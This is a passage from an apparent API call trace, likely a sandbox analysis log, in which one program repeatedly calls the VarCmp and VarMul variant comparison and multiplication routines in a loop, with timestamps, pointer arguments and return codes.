pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.262] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.262] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.263] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.263] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.264] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.264] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: 